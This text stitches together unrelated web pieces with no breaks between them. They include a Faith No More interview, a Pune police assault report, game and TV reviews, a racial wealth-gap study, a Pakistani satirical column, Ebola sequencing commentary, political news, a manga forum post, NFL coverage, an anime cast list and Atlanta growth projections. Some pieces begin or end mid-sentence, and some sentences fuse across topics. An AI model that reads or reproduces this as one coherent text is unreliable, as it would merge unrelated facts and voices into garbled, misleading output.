Billy Gould: “By that time we knew that our unpopularity in America and our popularity everywhere else was letting us know that we must be doing the right thing ‘cos American music was so fucking bad at that time. At that time we all went off and did solo stuff for a couple of years because we were so tired of all the bullshit that people bought to their experience of Faith No More. But that wasn’t fatigue with the music, just with being so fucking misunderstood. Which sounds primadonnaish but is true: right now when people tell me they love that record I think, ‘where the fuck were you when it came out then?’”
Though ‘King For A Day, Fool For A Lifetime’ reached number one on the charts in Australia, and spawned such overseas hits as ‘Evidence’ the album was hardly noticed in the US. Videos were made for ‘Digging The Grave’, ‘Evidence’ and ‘Ricochet’ all songs with commercial potential, but ‘King For A Day’ is FNM’s most definitive statement.
Roddy Botum: “Just in terms of not giving a fuck about what was fashionable and making music we loved, music that expressed the people in this band as clearly as possible.”
Billy Gould: “You can look back and rack up your gold records on the wall and it doesn’t mean a fucking thing if you know that at some point you had to pretend to be someone you weren’t. Faith No More, for all the huge crowds we played to, for all the albums we sold, for all the acclaim we got – we really didn’t behave like or believe in the same things that a rock band was supposed to. I don’t recall money or ‘business’ shit EVER getting talked about. I don’t recall arguments about anything but the music and that was just the way we made music. To be able to keep that focus, to see through the shit and try and gain your immortality through music – that’s something that I think we |
able Padmakar Shelar in the police vehicle. Their they came across the three persons grouped in an isolated corner of the market place consuming alcohol to celebrate a friend’s birthday. Kodag asked them to leave the area immediately as they were not allowed to drink there. Angered by the dismissal, the accused damaged Kodag’s patrolling vehicle, abused him verbally and attacked him at the back of his head, his ear and his back with a sharp pointed weapon leaving him seriously injured. When the other constable Shelar tried to intervene, he was attacked too. By then, Shelar called for help on the wireless but the three drunkards fled away from the spot. Later, Kodag and Shelar were admitted to Ruby Hall Clinic and are undergoing treatment.Dr Sujata Malik, Medical Superintendent of Ruby Hall said that Kodag was brought in a critical condition with head injuries. “He underwent a surgery on Sunday and he is stable now,” she added. Police have booked three persons, Mehan Ramchandra, Paul Wilson Joseph Das and Nayan Patole and an FIR has been lodged at the Mundhwa police station but only one arrest has been made so far. JS Pathan, police inspector at Mudhwa police station said, “The accused have been booked by the Mundhwa police for attempt to murder, attacking a policeman on duty and hindering routine government work.”Dungeon Keeper is a hard game to review. That's because any critique of this remake of Bullfrog's 1997 PC hit can't help but slide down the slippery slope towards being a critique of free-to-play gaming in general, and that's when people start banging the table and raising their voices and it all goes a bit Jeremy Kyle.
It is, at least, easy to see why EA revived this beloved cult classic in this fashion. Revisit the original Dungeon Keeper today and be amazed at just how many of its ideas have been reborn in mobile games. It was one of the first "tower defence" games, for example, flipping gaming convention upside down by casting the player as an evil tyrant, crafting the most perfectly evil lair in which to trap and kill do-gooder enemies who enter your hallways looking to save the world.
You did this by using an expanding army of imps to dig out new rooms, which you could then use to house traps, treasure and monster-spawning hatcheries. The more you expanded your labyrinth, the more stuff you discovered. The more stuff you discovered, the more new things you could build. It was a near-perfect feedback loop of routine and invention.
And, credit where it's due, EA's Mythic studio has revived that gameplay style very accurately. The viewpoint is loftier, the art style more cartoony, but almost every feature from the 1997 game remains in place.
Our old horny host cheekily makes fun of micro-payments even as he's ramming them down your throat.
The big difference is that wherever there's a crack in the gameplay, EA has hammered in a wedge in the shape of a paywall. There are four currencies at play here, three of which are in-game - gold, rock and mana - and the inevitable gems which can be purchased with real money. Everything you do has an immediate cost counted in one of the first three currencies, and a countdown timer that can be swept away with the fourth.
Of course, of course, the economy is stacked in such a way that you're forever being steered towards the gems. Progress is impossible without upgrading your various rooms, and to do that you need gold or rock, your stockpiles of which have a finite ceiling that must be raised by upgrades. Upgrades which require gold or rock. By constantly ratcheting up the amounts required, the game creates an ingenious but ruthless domino effect. You need to level up your workshop, but to do that you need more rock than you can store, but upgrading your rock storage means saving up more gold than you can store, but upgrading that... and so it goes on. The head bone, in this case, is connected to the wallet.
To give an example of how crudely this system has been implemented, upgrading your Dungeon Heart - the core of your lair - to Level 3 requires only a few thousand rocks. Getting it to Level 4, the cost rockets to 50,000. The ripple effect of upgrades needed so that your dungeon can even hold that much rock is ludicrous. Scroll through the rooms and traps yet to be unlocked, and you'll see the price of items heading north of seven figures.
Those mottled tiles to the side are gem veins which can take up to 24 hours to dig out. Unless you pay, of course.
The game does ease you in, at least, adhering to the classic dealer's mantra that the first taste is free. You're started with an area of soft ground to dig your first rooms out of, and the imps carve through it with familiar ease. Fill that space, however, and you must start mining the outer edge of the map, made up of gem veins that take between four hours and a full day to excavate a single square. Making space for a basic 3x3 space suddenly becomes a task that can literally take all week. Meanwhile the amount of gems mined from each square can be counted on your fingers, while every gem transaction costs in the hundreds.
"What we have here is the shell of Bullfrog's pioneering strategy game, hollowed out and filled up with what is essentially a beat-for-beat clone of Clash of Clans."
But there I go, reviewing the free-to-play business model rather than Dungeon Keeper. It's hard not to, though, when that business model is the only thing holding the game up. The tragedy isn't that EA has crammed micro-transactions into a beloved game - though that certainly stings - but that it has done so in such a rote and predictable way.
Let's be clear, again, because it bears constant repetition: free-to-play is not automatically a bad thing. There are plenty of examples of great games - hardcore PC games - that use micro-transactions, and do so while building an engaged and devoted fanbase. League of Legends. World of Tanks. Team Fortress 2. There are clearly better templates to follow.
Yet what we have here is the shell of Bullfrog's pioneering strategy game, hollowed out and filled up with what is essentially a beat-for-beat clone of Clash of Clans. Every function, every mechanism, every online feature has been tried and tested already by Supercell's money machine and EA is following behind, drooling like a Pavlovian dog. That's what stings the most: not that Dungeon Keeper has gone free-to-play, but that it's done so in such soulless fashion.
Creatures no longer spawn automatically as your dungeon expands, but must be summoned in exchange for gold.
The closest the game comes to its strategy roots is in the multiplayer aspects, which unlock once you've built a Training Room for your minion monsters. There are campaign levels that you can undertake by choice - both attacking AI dungeons and defending your own - but you'll also be open to invasion from other players. This would be great, if it weren't for the complete lack of consequence.
In the original game, defending your lair against enemies was literally life or death. If you failed, it was game over. There's no such thing as game over in free-to-play though, because when the game ends so too will the payments - so instead you'll find yourself opening the app to be told that someone attacked you. You may have lost some resources, which will be replaced in time, but whatever damage they did repairs itself instantly and you carry on with no real penalty. With such pitifully low stakes, and gameplay that values impatience over skill, there's only the most slender of gameplay threads to cling to.
It's always tempting to write this sort of free-to-play title off by saying it's not really a game, and in a lot of ways it isn't. But it's Dungeon Keeper, and every now and then you see enough of that game to feel nostalgic, before it vanishes again behind a 24-hour cool down timer.
Let's be generous. Those glimpses of the game Dungeon Keeper used to be are enough to earn one point. You can have the rest for 800 gems.This is a car.
Need for Speed is back for 2015 with a reboot-friendly name and a premise that seems to want to roll five different racing styles into one. It's also back with an open, connected world and multiplayer system that are disappointingly similar to the previous game, Need for Speed Rivals. New options to tweak handling and easily turn your cars from grip to drift give the actual act of driving a car some cool versatility that the previous games have usually lacked, but that can't save this one from its bad AI, weak police presence, and totally disjointed structure.
That structure comes from the five different racing disciplines that Need for Speed tries to represent. Those are Speed, Style, Crew, Build, and Outlaw, in case you were wondering. At the beginning of the game, you, a nameless race dude, encounter a crew that just so happens to have one person who cares about each role. So the energy drink-sipping, twitchy douchebag, Spike, will hit you up for speed-focused races. The lady wearing overalls, Amy, is obviously the one that wants to build sick cars. Manu is the style racer because he... occasionally is seen meditating? Robyn is the "crew"-focused racer because she likes to hang out with a drift team? It's all very thin. They all have real-world idols, like Magnus Walker (an actual Porsche enthusiast), Ken Block (the Gymkhana guy), or real-life alleged Yakuza associate, Shinichi Morohoshi. These different tales weave in and out of full-motion video cutscenes that hearken back to the good old days of the original Need for Speed or, more recently, the first Need for Speed: Most Wanted. These scenes are poorly acted, full of product placement, and lame as hell. They're... also a guilty pleasure.
Each type of driving has its own progression with its own events. You'll get calls from each one of the characters that point you to the next event or two. Upon completing those, you'll be ready for the next event. Each story, though, is simply that you're trying to attract the attention of each discipline's real-world representative. And then, near the end of each story track, you might get to race against the person in question. Perhaps you'll even get to see them in a cutscene or two. Having completed both the speed and outlaw tracks, I can say that these ones specifically go nowhere. You race well, the people (both characters and non-characters) in charge of that chunk of the action recognize you as a good driver, and then you're dumped back into the world. The final races are harder, but not meaningfully so. It's all a bit of a letdown, especially since there's some potential for more to be done.
'Nother car, I think.
The outlaw side of things is a bit different. You get mysterious text messages from the Outlaw himself, and these events start as easy things to do with the game's police force. After some of those, the outlaw's identity is revealed and you'll get into some actual events, which are just like the standard events except the police are behind you. The other characters in the story occasionally talk about the outlaws and their identity. You getting mixed up in all that could have been a hugely interesting reveal, but completing the outlaw story goes nowhere. You see a few people in a diner, one of them says that it's time for you to "drink with the big boys," and then he hands you a tall can of the energy drink that's been dropped into just about every cutscene. Yep. That's totally what "the big boys" drink and that's absolutely how "the big boys" would refer to cracking up an energy drink. It all just feels disingenuous and, just as often, wildly inauthentic.
Take, for example, the style side of things. Here, you're trying to impress Ken Block, the guy who made all those insane Gymkhana videos. Gymkhana looks like an art form. It looks like something more akin to street-style skateboarding or ballet, instead of driving. It's about tight, precise drifts as the car carefully loops around a hot dog cart, often coming within inches of the obstacle as part of a beautiful, graceful drift. In Need for Speed, Gymkhana events are races that occasionally have some jumps and tight corners in them. You need to beat a time while also racking up a set number of drift points. That's not Gymkhana. That's... well, it's nearly the same as the game's drift trial events, which aren't that different from the touge events, which aren't that different from the drift train events. Tack on some time trials, circuit races, and point-to-point races and you've got Need for Speed. The event variety doesn't feel different enough, even when you go from one style's story to another. It's just a set of around 80 events, and the main difference is that later races make it somewhat harder to recover from mistakes because the AI doesn't hang around and rubberband itself to the player quite as noticeably.
The AI all but ruins the potential of the drift train events. Here, the designed effect is a group of cars in a line, drifting in perfect synchronization. In the game, you're not going to be able to tell AI how to drift with you, so it becomes a dumbed-down take on that, where you only get points at all if you're within a certain distance of one of the other cars. Also, this is designed as a co-op event, but the AI constantly jockeys for position and rams you out of a drift just to get in front of you... in an event that doesn't reward who finishes first. That's dumb!
Car, with city background.
You can opt to play alone, but the game dumps you into an online world every time you boot it up. Like the previous Need for Speed, there's little reason to be in the world with complete strangers. Their cars (and the AI engaged in an event with them) often skip and warp around the world, making them impossible to follow. Also, since they're in their events while you're taking on your events, you might run into cases where the two events collide, resulting in too many cars in too tight a space. It's kind of funny to train a bunch of cop cars or other races through the middle of some unsuspecting player's drift event... unless you're trying to win that drift event. Most of the time, though, the other racers are only there conceptually, off in some other part of the world that you're not currently in. Alone together. In the rare event that you find another player who isn't in the middle of something, you can get up behind them and challenge them to one of four spontaneous event types. I finally got another player to accept one of these, and immediately blew that racer away. Maybe he didn't realize what was happening? You can also challenge random AI racers in this fashion, so playing offline doesn't really rob you of anything.
Multiplayer has been a great part of Need for Speed games in the past, and the challenges the player must face to even put a multiplayer event together seem insurmountable when you're playing with strangers. The game really just needs some kind of standard hopper system that takes players from one event to the next. Instead, the game has a function that seems to let you invite members of your "crew" to a race, but beyond getting a group together in one multiplayer world and attempting to "invite crew" (which was fruitless), there's no easy way to just get a multiplayer race together. Who thought this was a good way to organize things? It's a mess.
It's also a technical mess. Playing on the Xbox One, the game seemed to run worse and worse as I got into faster and faster cars. The game seizes up frequently, mid-race, textures load in late, and the weather and time of day seem to pop in and out. Car purchases seem to ping an online server when you make them, leaving me in a situation where the game took my in-game currency away, but didn't actually give me the BMW I was trying to acquire, a problem that persisted until I dug into the settings menu and uncovered the "play alone" option.
Close-up of car.
One time I tried to leave the garage and the car just kind of never drove out of the garage, leaving me stuck, unsure if the game had saved recently, and afraid to just turn it off and back on. In the first race where I was supposed to face off against Magnus Walker, his car never appeared on the track, making it a surprisingly easy race to win! And, finally, I've had the screen simply go to black in the middle of the action. The HUD and minimap stay on screen, but the entire world just vanished. Fun. This would be a middling Need for Speed game if it worked perfectly, but these technical issues are frequent and egregious enough to knock it down even further. However, this is truly one of those "your mileage may vary" situations because Microsoft has two different sets of firmware out there in the wild. In our testing, consoles running the latest "official" firmware seemed to seize up a little less frequently than consoles enrolled in the Xbox One's Preview Program.
If the game gets patched up into a more functional state, there are things about this Need for Speed that make it a decent time, for a little while. The handling, specifically, is highly adjustable without bashing you over the head with a ton of fiddly little options. This means you can have big, arcade-style drifts and e-brake turns without having to think about it, if you want. The cars are fun to drive, and the open world, though it feels a little small, has the right amount of variety in its makeup to provide different types of races. Lastly, the FMV is occasionally hilarious due to its inept acting and tragic attempts to "use" "cool" "lingo." But the whole thing is far more bland and repetitive than a game about illegal street racing should be.The wealth gap between blacks and whites has nearly tripled over the past 25 years, due largely to inequality in home ownership, income, education and inheritances, according to a new study by Brandeis University.
That type of inequality can be a drag on economic growth for everyone, said Thomas Shapiro, director of the university's Institute on Assets and Social Policy, which conducted the research.
The difference in wealth between typical households in each racial group ballooned to $236,500 in 2009, up from $85,000 in 1984, according to the study, released Wednesday. By 2009, the median net worth of white families was $265,000, while blacks had only $28,500.
Brandeis researchers looked at the same set of 1,700 families over the 25-year period to see how their actual work and school experiences affected their wealth accumulation.
What they found is that home ownership is driving the growing gap. Price appreciation is more limited in non-white neighborhoods, making it harder for blacks to build equity. Also, because whites are more likely to have family financial assistance for down payments, they are able to buy homes an average of eight years earlier than black families and to put down larger upfront payments that lower interest rates and mortgage costs.
The home ownership rate for whites is 28% higher than that of blacks.
"How housing wealth is created in different communities is clearly what's driving this," Shapiro said.
Income gains are also a major differentiating factor, even when whites and blacks have similar wage increases. Whites are typically able to put more of their raises towards accumulating wealth because they've already built up a cash cushion. Blacks are more likely to use the money to cover emergencies.
Inheritances also make it easier for some families to build wealth. Among the families studied, whites were five times more likely to inherit money than blacks, and their typical inheritances were 10 times as big.
When it comes to education, black graduates are often more saddled with college loans, making it harder for them to start socking away savings than their white peers. Four in five black students graduate with debt, compared to 64% of whites.
The growing wealth gap has wider ramifications, Shapiro said. If the pattern continues, people could start believing the deck is stacked against them.
"Our economy cannot sustain its growth in the face of this type of extreme wealth inequality," he said.Stars and planets controlling your destiny, colours and auras defining your personality, preachers, priests, and clerics connecting you with the Divine, gurus and yogis giving you peace of mind.
Yes, all this can be yours... but only if: You have money to throw; a mind to waste; an intellect that is lazy; emotions that need a crutch; and a life aching from yuppie boredom.
So, get your fat wallets out, suckers, and let's groove on that New Age Spirituality bash! Yea, baby.
What happens to a generation of young folk brought up on mythical tales of swords and horses and simultaneously on those so-called ‘building self-esteem’/self-improvement corporate seminars that are in essence the yuppie absorption of the late 'New Age’ nonsense about personal aura, positive vibes, etc.?
Well, the result in this context, are blobs of walking talking contradictions.
Also read: Hypocristan...
What’s even worse, many of these blobs have absolutely no clue that they are a negation of what they preach. And yes, we have, in our midst, what is perhaps the most preachy generation ever.
They will preach ‘positive thinking’ to the cynics, calmly ignoring the fact that cynics might just be skeptics (what most rational human beings usually are. And should be).
Ah, but that would mean repressing one’s emotions, no? A very unhealthy thing to do, I tell you.
It can make a person, not only a cynic, but, horror of horrors, a non-patriot, which, in our case, can then lead him to becoming things that are even worse.
Like, say, a wit or a sneaky satirist.
In such a case, 'positive thinking' must dictate affirmative action: Ban the bugger!
Of course, you must understand that such (positive) logic is usually entirely based on delusional and/or paranoid assumptions. Positive thinking demands it and your healthy and spiritual disposition commands it.
Otherwise finding and investigating the facts behind assumptions can be a time-wasting exercise that makes Jack or Junaid or whosoever a very dull, introverted boy on his way to becoming a cynic, and thus a positive case for existentialist excommunication.
But don't despair. The man-on-horseback-with-swords-meet-lets-be positive-la-la-la generation will shower you with great admiration if you (albeit unthinkingly) and animatedly nod to whatever positivism is trending on Twitter or Facebook.
No, this does not make you behave like a sheep but … okay, yes, it does but … like, so what, no? Sheep have feelings too, y'know (except on Bakra Eid).
Also read: The brown bigots
The said generation will shower you with love if you agree with their 'positivism.' Especially if the positivism is about being positive in ones condemnation of what is not positive. Such as a display of individualism.
You are ‘paid’ (by ‘negative forces') if you disagree with the positivists. But, of course, you suddenly become positively patriotic if you agree. But, really, this man-on-horseback-with-sword-meet-lets-be positive-la-la-la generation that leapfrogs from Bin Qasim to Deepak Chopra to Imran Khan to the ‘be positive’ corporate guru of the month in a matter of a single rhetorical sentence, can be quite a riot, really – in an entertaining sort of a way.
Take for instance how in 2010 many of them responded to the UK court’s verdict on the three Pakistani spot-fixing cricketers.
Last year, when the spot-fixing scandal broke, positive thinking dictated that the cricketers must be supported because both the international and local negative forces that are always relentlessly conspiring to tarnish the country’s name were most probably behind this episode. And thanks to many of our positive media personnel it seemed that for a while, Salman Butt, Muhammad Amir and Muhammad Asif, were about to become the male equivalents of Aafia Siddiqui (remember her of the ‘I shot the sheriff’ fame?).
But, alas, a little more than a year later when the three were proven guilty in court and sent to prison, all hell broke loose. No, there were no rallies against the ruling or any condemnation.
Instead, people began burning the effigies of the three cricketing idiots, cursing them for tarnishing the country’s name. Duh?
So, negative old me decided to tweet a question:
How come there are stones and curses for a spot-fixer but rallies and rose petals for a convicted felon or, worse, for a deluded gun-slinging self-appointed defender of the faith? Yes, him.
As the positives came rushing in (on Twitter) to condemn my negative question, I kept wondering.
Wondering how come so many Pakistanis and the media are ready to passionately demand that certain corrupt cricketers or politicians be lynched, but then the same people shower praises on self-appointed messiahs who commit acts of selfish, deluded brutality?
Also read: To and fro with ‘traitors’ and ‘fascists’ in Pakistan
Or when they look the other way when some other self-appointees in this respect go about their business of blowing up people and an assortment of things?
Does this mean hypocrisy is a positive attribute that is good for mind, body, faith and the state?
But, then, I finally understood. Why disturb one’s healthy positive aura and vibe with awkward questions, no?
Why complicate things. I mean, all this might lead to negative thinking thus cynicism thus unpatriotic thoughts and thus perhaps even some admiration for shameless agents like Malala, no?
One should be positive, you see. Especially about the fact that we are ready to eat grass for our precious, positive, patriotic ghairat. Or rather, the poor are ready to eat grass for it, while we breathe in fresh air doing some yoga.
So, it is our duty to sympathise with the poor grass eaters and hang a few politicians, eliminate a few cricketers and make peace with extremists to, at least keep the price of grass affordable for the masses who, God willing, will vote in hoards for Mr Positive par excellence (yes, him) in the next elections, even though positive thinking dictates democracy is a sham and only a modern-day technocratic caliphate is the answer to all our problems.
Ah. That felt good. Yea, man, check out my positive vibes now. Like, groovy, in a Bin-Qasim-driving-a-Ferrari-on-the-roads-of-Dubai kind of a way.Audio:
Novel Zaire Ebola Sub-Clade In Guinea and Sierra Leone
Recombinomics Commentary 22:30
July 29, 2014
The Infectious Disease Initiative at the Broad Institute of MIT and Harvard, which is part of the Viral Hemorrhagic Fever Consortium, has released 84 complete or nearly complete Ebola sequences (at Genbank – EBOV_1 – EBOV_84 with accession numbers KM233035 KM233118 ) from Sierra Leone patient collections between June 2 and June 12, 2014. These sequences follow the release of 14 Sierra Leone sequences by the same group sequencing samples collected on June 1.Thus, they have made public 98 sequences from collections in the first 12 days in June, 2014. They are commended for the rapid release of these important sequences, which are closely related to three full sets of sequences from three Guinea cases collected in March, 2014 from two distinct locations, Gueckedou ( Gueckedou-C05 and Gueckedou-C07 ) and Kissidougou ( Kissidougou-C15 ).All 101 sequences form a Zaire sub-clade which signals clonal expansion due to human to human transmission following a single introduction. These 101 sequences are easily distinguished from all other Zaire sub-clades, which have been associated with the largest number of reported Ebola outbreaks, including the previously most deadly outbreak in Yambuku, Zaire in 1976 (280 deaths in 318 cases), which was followed by the second most deadly outbreak, which was 19 years later in Kikwit, Zaire in 1995 (245 deaths in 317cases). The current outbreak, which is again 19 years later but in Guinea, Sierra Leone, and Liberia, has already produced more reported deaths (672 deaths in 1201 cases) than the two earlier outbreaks combined and comments made in yesterday’s US CDC Ebola telebriefing suggests there is no end in sight.The CDC telebriefing and Ebola HAN advisory comes after the death of a naturalized American who traveled to Lagos, Nigeria from Monrovia, Liberia and the hospitalization of two American healthcare workers, also in Liberia. The CDC had noted that Ebola was only one flight away from the United States, and the fatal case had planned on flying to Minnesota in two weeks for his daughter’s birthday.The June Sierra Leone sequences have evidence of some drift from the March sequences from Guinea. A prior Zaire sub-clade, which was found in apes and a chimpanzee and was associated with an outbreak in Gabon in 2002 had strong evidence of recombination, which raises concerns of more evolution in the current sub-clade, which has produced a record number of reported Ebola cases and deaths.Is it a movie? Is it a TV show? Whatever you call it, Jane Campion's latest is as beautiful and soul-stirring as anything you’ll see this year.
Jane Campion’s “Top of the Lake: China Girl” is — among a seemingly infinite array of other things — a story about second chances. And while that theme is beautifully personified by any number of different characters during this six-hour miniseries, there’s a certain irony to the fact that this epic detective drama is built upon a foundation of redemption and regret. After all, Campion got it right the first time.
Premiering at Sundance in 2013 and airing on SundanceTV later that year, “Top of the Lake” was notable for being one of the first examples of a major filmmaker realizing the full potential of the “peak TV” era. It was also notable for being a staggering piece of long-form fiction, the Palme d’Or-winning director of “The Piano” returning to her native land of New Zealand for a violently beautiful mystery show that flipped the genre on its ass with savage grace. Fueled by an elemental female energy and forged by centuries of systemic oppression, the bracingly entertaining saga plunged deep enough to earn the implications of its title and then some.
“Top of the Lake: China Girl” somehow manages to dive even deeper. It’s richer. Wider. Darker. Campion, along with co-director Ariel Kleiman and co-writer Gerard Lee, has crafted a monumental latticework of emotional threads, seamlessly weaving together dozens of different character into an intimate epic that — over the course of six hour-long episodes that fly by in a flash — touches upon everything from sex work and surrogacy to patriarchy in the digital age and the instinctive push towards parenthood. But most of all, this extraordinary work of character-driven crime fiction is a story about bodies, and the stories that bodies tell us.
Less of a second season than it is a sequel, “China Girl” begins and ends with one body in particular. It belongs to a Thai prostitute named Cinnamon, who’s stuffed into a suitcase and hurled into the dark waters of Sydney’s Bondi Beach. When the luggage washes ashore, streaks of Cinnamon’s fine black hair sticking through a crack in the plastic, detective Robin Griffin (Elisabeth Moss) is quick to claim the case. Freshly returned from the remote glades of New Zealand and understandably still traumatized by the events of the first series four years earlier (a familiarity with which is sometimes crucial to understanding these new episodes), Robin has gone full Clarice Starling. She’s cut her hair, buried her pain, and tried to move on, but the process is already hitting a few bumps in the road.
For one thing, Robin is looking to exhume a new part of her past, as she’s moved in with her estranged half-brother and decided to reconnect with the daughter she gave up for adoption 17 years prior. For another, the misogyny she suffered in Laketop has followed her into the Sydney police force, where — the show rather subtly observes — the male agents treat their female counterparts in much the same way as the proprietors of Cinnamon’s brothel treat their working girls (important note: prostitution is legal in Australia, but largely unregulated).
READ MORE: The 2017 IndieWire Cannes Bible: Every Review, Interview and News Item Posted During the Festival
And Robin is about to experience that parallel firsthand, not only because the trail will take her into the bowels of the country’s sex industry, but also because her daughter’s 42-year-old boyfriend — an enigmatic East German ex-pat named Puss (David Dencick, looking and sounding like a dead ringer for Tommy Wiseau) — happens to own the building that houses Cinnamon’s bordello. Mary (Alice Englert) knows where Puss lives, and she’s fine with it; Mary’s adoptive parents (Nicole Kidman and Ewen Leslie) most definitely do not, but they have plenty of other reasons not to like the guy. They also have problems of their own, the main one being that they’re in the process of getting a divorce.
Got all that? Well, there’s more, but not so much more that the various subplots ever become confused or overcomplicated; every new character who’s added to this story ultimately helps make the whole thing more cohesive, no matter how incidental they may first appear to be. The best example of this undeniably comes in the form of Robin’s unwanted constable, Miranda (“Game of Thrones” star Gwendoline Christie). Initially introduced as a source of comic relief — a fawning fan who worships Robin for cracking the Laketop pedophile ring in the previous season — Miranda slowly blooms into one of the show’s richest figures, a complex and wholly believable woman whose long, pregnant body becomes one of the show’s most fascinating locations.
This review continues on the next page.
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.The new "tolerance" -- simply blocking pro-marriage figures from sharing their views on any topic:
A Michigan high school canceled a speech by former Sen. Rick Santorum after teachers became outraged over his opposition to gay marriage and threatened to stage protests and a possible work stoppage.
Santorum had been invited to deliver a upcoming speech on leadership by the Young Americans for Freedom chapter at Gross Pointe South High School. But the speech was canceled on Monday after the school district’s superintendent heard from angry teachers.
“It’s a sad day when liberal educators are allowed to influence young minds – extending free speech rights only to those who share their liberal views,” Santorum said in a statement posted on Patriot Voices. “This has nothing to do with the content of a speech, but rather the context of my convictions.” (FoxNews Nation)Wookitake said: Really confusing chapter. What's the deal with Nighteye "looking" for AM? Why would AM speaking about Mirio and Nighteye to Deku be harmful or unecessary?
I liked some ideas but this was a strange chapter. Click to expand...
Nighteye "Looking"AM was him divining the future. Hence why he referenced the gruesome death that AM seems to be preparing himself for by keeping his body in shape (my assumption). AM was upset because -- think about it. Would you want someone to constantly tell you how and when things happen to you all the time? Some things are best left to be a surprise and I'm sure AM wasn't fond of Nighteye "looking" at him.AM speaking about the Mirio situation is "harmful" because it knocks away the illusion that Deku was the ultimate choice. It's going to bring up the whole..."You chose me without even looking at this amazing person, what if he's better suited for the role than I am? Do I even deserve to have OFA? Maybe Nighteye was right all along, maybe I don't have what it takes..."Teenage doubt and insecurity, basically. Despite the fact that AM told Deku several times that he believes in him, Deku's insecurities will likely ramp up to 11 until he is consumed with thoughts of being inferior. This leads me to assume that there will be a point when Deku -- for whatever reason -- seriously considers relinquishing his power. That might be an arc in itself.Deku giving up his power or coming close to it only to realize the strength within himself and accepting the burden of OFA. It'll be a sign of maturity and EXTREMELY refreshing because I'm tired of Deku running around like a scared puppy (even if I'm enjoying his character development).Thomas defends Graham: Seahawks vs. Saints 2014
Seattle Seahawks free safety Earl Thomas (29) breaks up a pass intended for New Orleans Saints tight end Jimmy Graham (80) during the NFC divisional playoff game between the New Orleans Saints and Seattle Seahawks at CenturyLink Field in Seattle on Saturday, January 11, 2014.
(Michael DeMocker, NOLA.com | The Times-Picayune)
Jimmy Graham started with a bang before the NFC divisional playoff game, getting into an altercation with Seattle Seahawks linebacker Bruce Irvin. But the New Orleans Saints' tight end didn't show up again until 24 seconds remained in the Saints' 23-15 loss.
Drew Brees only targeted Graham once in the first half. He targeted the All-Pro tight end four more times and came up empty. Graham's sixth and final target turned into his one and only catch for eight yards.
Not exactly the type way he wanted to wrap up a contract year, though Graham's previous results should make him a very, very wealthy man this offseason. But the paltry output induced a bucket of negative comments from the Seattle locker room, including defensive end Michael Bennett telling Bleacher Report that Graham was soft and the most overrated player in the NFL.
"I read what one player or two players had said and look, that is pretty typical when you get into these heated games |
unio David Matranga
Chouji Christopher Ayres
Fumiko Tiffany Grant
Takashi Scotty Fults
Mari Carli Mosier
Nobuhiko John Kaiser
Prince Metcha, Tomio Greg Ayres
Sayuri Kasi Hallowell
Tadanao Andrew Love
Mr. Yagi Houston Hayes
Inuyama Blake Shepard
Hinako Kitashirakawa Nancy Novotny
Yuzuki Kalin Coates
Tatsuya Genevieve Simmons
COVER ARTMetro Atlanta's population will jump 25 percent over the next 15 years, according to a new analysis of the region's growth.
Overall, the population of the Atlanta metro area will jump by 25 percent from 2015 to 2030, according to a LawnStarter analysis of projections from the Governor's Office of Planning and Budget. During that period, the region is anticipated to gain 1.4 million residents. That's equivalent to the number of people who live in the entire Jacksonville, FL, metro area.
From 2014 to 2015, Forsyth County, GA, ranked as the fastest-growing county in the Peach State and the 11th fastest-growing county in the U.S. Based on figures from the U.S. Census Bureau and the Georgia Governor's Office of Planning and Budget, the population of Forsyth County is projected to climb 58 percent from 2015 to 2030. That growth rate would be the highest during that period for any of the 29 counties in the federally designated Atlanta metro area.
"The Atlanta region will remain a desirable place to live, thanks to our low cost of living and a strong, diversified economy that continues to create jobs," says Mike Alexander, director of the Atlanta Regional Commission's Center for Livable Communities.
"We'll see growth in existing suburban areas as well as the region's core, as more people choose to live near jobs or transit."
In the infographic below, see what the Atlanta area just might look like in 2030.
Austin, Texas-based LawnStarter offers an online platform that helps people find, schedule, pay for and manage lawn care services. LawnStarter soon will be entering the Atlanta market.Ron Paul has a 7.5 percent likelihood of winning the Republican nomination, based on data from prediction markets. That puts him in 3rd place, behind Mitt Romney at 47.7 percent and Newt Gingrich at 33.7 percent, but ahead of Jon Huntsman at 5.4 percent.
Real Clear Politics has Paul at 9.3 percentage points in its latest aggregated poll trend for the Republican primary. Among active candidates, that puts him 3rd behind Gingrich at 33.3 percentage points and Romney at 22.0 percentage points. The prediction markets and polls paint a picture of the race for the Republican nomination that contrasts with many indicators talked about on the internet.
Ron Paul is by far the most popular candidate in The Signal's comment section. In every article we post there are streams of comments on Ron Paul. First, thank you for commenting! We appreciate that you are reading the articles and taking the time to comment on them. Yet, the readership of The Signal is not a representative sample of the relevant electorate and the subset of The Signal's readers that choose to post comments are an even less representative subset of the relevant electorate. Thus, being the most popular among those people who comment on this website is not a powerful indicator of the election outcome. What matters is the popularity among those people that will participate in the Republican primary contests.
Ron Paul is leading or in second place in many straw polls, but again, these are not representative samples of the relevant electorate. Straw polls are conducted among a self-selected group of highly motivated members of the electorate. They indicate strong and dedicated support, an important attribute in elections. But, elections are decided across a much larger electorate that does not resemble this smaller subgroup.
Similarly, Paul dominates positive tweets in an atmosphere that is incredibly negative. But, tweets originate from an unrepresentative segment of the electorate who can "vote" many, many times.
Prediction markets are the most efficient predictor of election results and they give Paul a non-negligible, but small likelihood of winning the Republican nomination. A prediction market allows political handicappers to back up their convictions with real money. The price is an aggregate reflection of how much people are willing to pay for contracts that expire at $1 if Paul wins the nomination and $0 if he does not. Users from around the world act based on any information they have, including well-known central signals of upcoming events like polls and past results, as well as less obvious, more disaggregated indicators.
Even if Ron Paul wins Iowa, where he is currently trailing only Gingrich, he faces a very difficult struggle to win the Republican nomination. A loss to Paul would greatly diminish Gingrich's position as the anyone-but-Romney candidate. There is a high likelihood that Paul would become the anyone-but-Romney candidate, but that is not guaranteed. So, if Paul is 28.8 percent likely to win Iowa, that mean he has at most a 28.8 percent likelihood of becoming the anyone-but-Romney candidate as a result of the Iowa Caucus.
